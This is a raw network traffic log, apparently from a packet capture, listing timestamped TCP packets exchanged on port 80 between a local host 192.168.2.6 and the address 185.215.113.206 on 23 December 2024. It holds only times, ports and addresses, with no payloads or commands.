Dec 23, 2024 06:54:27.012497902 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.013411999 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.013458967 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.013470888 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.013499022 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.014471054 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.014522076 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.014528036 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.014555931 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.015525103 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.015569925 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.015602112 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.015640974 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.016630888 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.016675949 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.016745090 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.016784906 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.017704010 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.017745018 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.017748117 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.017779112 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.018785954 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.018798113 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.018852949 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.019844055 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.019896984 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.019989967 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.020036936 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.020906925 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.020960093 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.020967960 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.021004915 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.021936893 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.021996975 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.022001028 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.022047043 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.023087978 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.023125887 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.023140907 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.023169994 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.024096012 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.024146080 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.159876108 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.159949064 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.160129070 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.160171032 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.160446882 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.160487890 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.160518885 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.160557985 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.161506891 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.161533117 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.161552906 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.161571026 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.162559986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.162605047 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.162648916 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.162693024 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.163628101 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.163671970 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.163712978 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.163794994 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.164650917 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.164701939 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.164838076 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.164881945 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.165774107 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.165831089 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.165973902 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.166018963 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.166862965 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.166924000 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.166956902 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.167131901 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.167898893 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.167947054 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.167992115 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.168031931 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.168982029 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.169029951 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.169085026 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.169120073 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.170079947 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.170128107 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.170212984 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.170254946 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.170315981 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.171216011 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.171262026 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.171461105 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.171505928 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.172204971 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.172247887 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.172292948 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.172396898 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.173289061 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.173330069 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.173465967 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.173505068 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.174356937 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.174420118 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.174465895 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.174515009 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.175470114 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.175527096 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.175596952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.175633907 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.176595926 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.176614046 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.176640034 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.176660061 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.177592039 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.177639008 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.177692890 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.177730083 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.178658009 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.178704023 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.178749084 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.178783894 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.179722071 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.179768085 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.179770947 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.179805994 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.180819988 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.180866957 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.180886984 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.180927992 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.181890011 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.181937933 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.182020903 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.182066917 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.182940006 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.182987928 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.183033943 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.183072090 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.183999062 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.184045076 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.184092045 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.184129000 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.185159922 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.185205936 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.185246944 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.185285091 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.186144114 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.186196089 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.186239958 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.186275959 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.187223911 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.187266111 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.187350988 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.187388897 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.188292980 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.188338041 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.188370943 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.188410997 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.189361095 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.189404964 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.189451933 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.189491034 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.190478086 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.190531969 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.190598965 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.190637112 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.191550970 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.191596985 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.191785097 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.191834927 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.192598104 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.192641020 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.192689896 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.192734003 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.193705082 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.193747997 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.193797112 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.193847895 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.194747925 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.194796085 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.194875002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.194921970 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.195816040 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.195862055 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.195909977 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.195952892 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.196908951 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.196957111 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.197027922 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.197072029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.197988987 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.198040009 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.198084116 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.198122978 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.199212074 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.199260950 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.199636936 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.199683905 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.200138092 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.200195074 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.200263977 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.200305939 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.201221943 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.201271057 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.201323986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.201364994 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.202270985 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.202318907 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.202558041 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.202605963 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.203393936 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.203438044 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.203515053 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.203557968 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.204436064 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.204483986 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.204528093 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.204569101 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.205493927 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.205538034 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.205677986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.205715895 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.206625938 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.206645012 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.206676960 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.206698895 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.207613945 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.207664013 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.207732916 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.207775116 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.208709002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.208760023 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.208935976 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.208980083 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.209790945 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.209837914 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.209892988 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.209933996 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.210860014 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.210892916 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.210911036 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.210932970 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.211925030 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.211973906 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.212099075 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.212141991 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.213042021 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.213088036 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.213166952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.213210106 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.214072943 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.214124918 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.214323044 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.214365959 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.215168953 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.215212107 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.215306044 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.215353012 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.216198921 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.216248035 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.351996899 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.352122068 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.352138996 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.352175951 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.352431059 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.352480888 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.352675915 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.352725983 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.352742910 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.352780104 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.353807926 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.353825092 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.353869915 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.354846954 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.354899883 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.354927063 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.354971886 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.355906010 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.355953932 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.356009960 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.356055975 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.356988907 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.357013941 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.357048988 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.357069016 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.358052015 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.358107090 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.358154058 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.358192921 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.359113932 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.359164000 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.359208107 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.359241962 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.360316038 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.360341072 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.360367060 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.360387087 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.361270905 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.361329079 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.361366987 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.361406088 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.362337112 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.362390041 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.362426043 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.362468958 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.363473892 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.363502026 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.363533020 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.363552094 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.364464998 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.364512920 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.364609957 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.364651918 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.365559101 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.365603924 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.365698099 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.365739107 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.366617918 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.366662025 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.366707087 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.366748095 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.367695093 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.367749929 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.367795944 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.367841005 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.368767023 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.368817091 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.368863106 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.368906021 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.369915009 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.369951010 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.369966984 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.369990110 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.370949030 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.370995998 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.371135950 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.371179104 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.372005939 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.372056961 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.372085094 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.372122049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.373104095 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.373153925 CET	49889	80	192.168.2.6	185.215.113.206
